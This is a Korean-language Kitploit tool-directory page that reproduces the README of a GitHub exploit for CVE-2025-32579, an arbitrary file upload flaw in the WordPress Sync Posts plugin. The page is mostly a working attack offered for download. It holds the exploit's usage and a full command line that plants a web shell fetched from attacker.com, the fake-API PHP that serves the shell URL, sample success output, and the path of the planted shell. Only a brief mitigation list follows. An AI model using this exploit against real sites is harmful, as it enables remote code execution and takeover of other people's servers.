Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32579 — WordPress Sync Posts Plugin <= 1.0은 임의 파일 업로드에 취약합니다. | Kitploit
도구/GitHubGitHub/nxploited/cve-2025-32579
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnxploited/cve-2025-32579

CVE-2025-32579

WordPress Sync Posts Plugin <= 1.0은 임의 파일 업로드에 취약합니다.

저장소 보기
1121년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

⚠️ CVE-2025-32579 - Sync Posts 플러그인 (WordPress)의 치명적인 RCE

📦 영향: Sync Posts <= 1.0
🧨 CVSS 점수: 9.9 치명적
📁 CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H


🧠 취약점 개요

Sync Posts WordPress 플러그인(SoftClever Limited 제작)은 인증된 공격자가 서버에 임의의 PHP 파일(웹 셸 등)을 업로드하고 실행할 수 있도록 하는 제한 없는 파일 업로드 취약점에 취약합니다.

🔓 근본 원인:

  • 플러그인이 JSON 게시물을 반환하는 website_url을 허용합니다.
  • 게시물 내용에서 이미지를 맹목적으로 가져옵니다 (검증 없이).
  • 파일 유형, MIME 유형 또는 경로 제한이 적용되지 않습니다.
  • 모든 이미지(PHP 파일 포함)가 다운로드되어 wp-content/uploads 내에 저장됩니다.

🚨 위험한 이유

  • ✅ 원격 코드 실행 (RCE)
  • ✅ 웹 셸을 서버에 직접 업로드
  • ✅ 최소한의 권한만 필요 (인증된 사용자)

⚙️ 스크립트 설명 (Exploit)

익스플로잇 스크립트는 전체 체인을 자동화합니다:

  1. 📥 WordPress에 로그인 (제공된 자격 증명 사용)
  2. 🧠 가짜 API PHP를 생성하여 셸을 <img src="https://raw.githubusercontent.com/nxploited/cve-2025-32579/HEAD/...">로 포함한 JSON 게시물 반환
  3. 📡 악성 website_url 전송 (admin-ajax.php?action=sync_posts로)
  4. 💣 플러그인이 셸을 가져와 /uploads/에 저장하도록 강제
  5. ✅ Referer 또는 nonce 불필요 — 세션 쿠키만 있으면 충분

usage: CVE-2025-32579.py [-h] -u URL -un USERNAME -p PASSWORD -ws WEBSITE -shell WEBSHELL

Exploit For CVE-2025-32579 Sync Posts # By: Nxploited ( Khaled Alenazi )

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target WordPress URL (e.g., http://target.com/wordpress)
  -un, --username USERNAME
                        Username to login
  -p, --password PASSWORD
                        Password to login
  -ws, --website WEBSITE
                        URL to fake API (e.g., http://attacker.com/Khaled_alenazi.php)
  -shell, --webshell WEBSHELL
                        Web shell URL used inside the fake API (can be a test image)
                                                                                       

💻 사용 방법

📌 명령 형식:

python3 CVE-2025-32579.py -u http://target/wordpress -un admin -p pass123 -ws http://attacker.com/Khaled_alenazi.php -shell http://attacker.com/shell.php

⚙️ 인자:

플래그설명
-u, --url대상 WordPress URL
-un, --usernameWordPress 사용자 이름 (admin)
-p, --passwordWordPress 비밀번호
-ws, --website가짜 게시물 JSON을 반환하는 악성 PHP 파일의 URL
-shell, --webshell``를 통해 주입할 실제 셸 파일

테스트용으로 실제 셸 대신 더미 이미지를 사용할 수도 있습니다:

--webshell https://via.placeholder.com/1x1.jpg

🧪 예제 가짜 API 출력

Khaled_alenazi.php가 반환하는 응답:

<?php
header('Content-Type: application/json');
echo json_encode([
  [
    "id" => 1,
    "title" => ["rendered" => "Nxploited"],
    "content" => [
      "rendered" => "<img src="http://attacker.com/shell.php">"
    ]
  ]
]);
?>

✅ 성공적인 익스플로잇:

[*] Attempting login...
[+] Logged in successfully.
[+] Generated fake API PHP file: Khaled_alenazi.php
[+] Sending exploit request to: http://target.com/wordpress
[+] Request sent successfully.
{
  "success": true,
  "data": {
    "message": "Posts imported successfully",
    ...
  }
}

🔥 성공적인 익스플로잇 이후:

  • 셸 경로 및 이름: shell.php
  • target.com/wp-content/uploads/2025/04/shell.php

🛠️ 수정 / 완화 방법

  • website_url 접근을 내부 도메인 또는 허용 목록에 있는 호스트로 제한
  • 이미지 확장자 및 콘텐츠 유형 검증
  • 제3자 JSON을 정제 없이 파싱하지 않음

🧷 참고 자료

CVE: CVE-2025-32579
Exploit By Nxploited (Khaled Alenazi)

도구 다운로드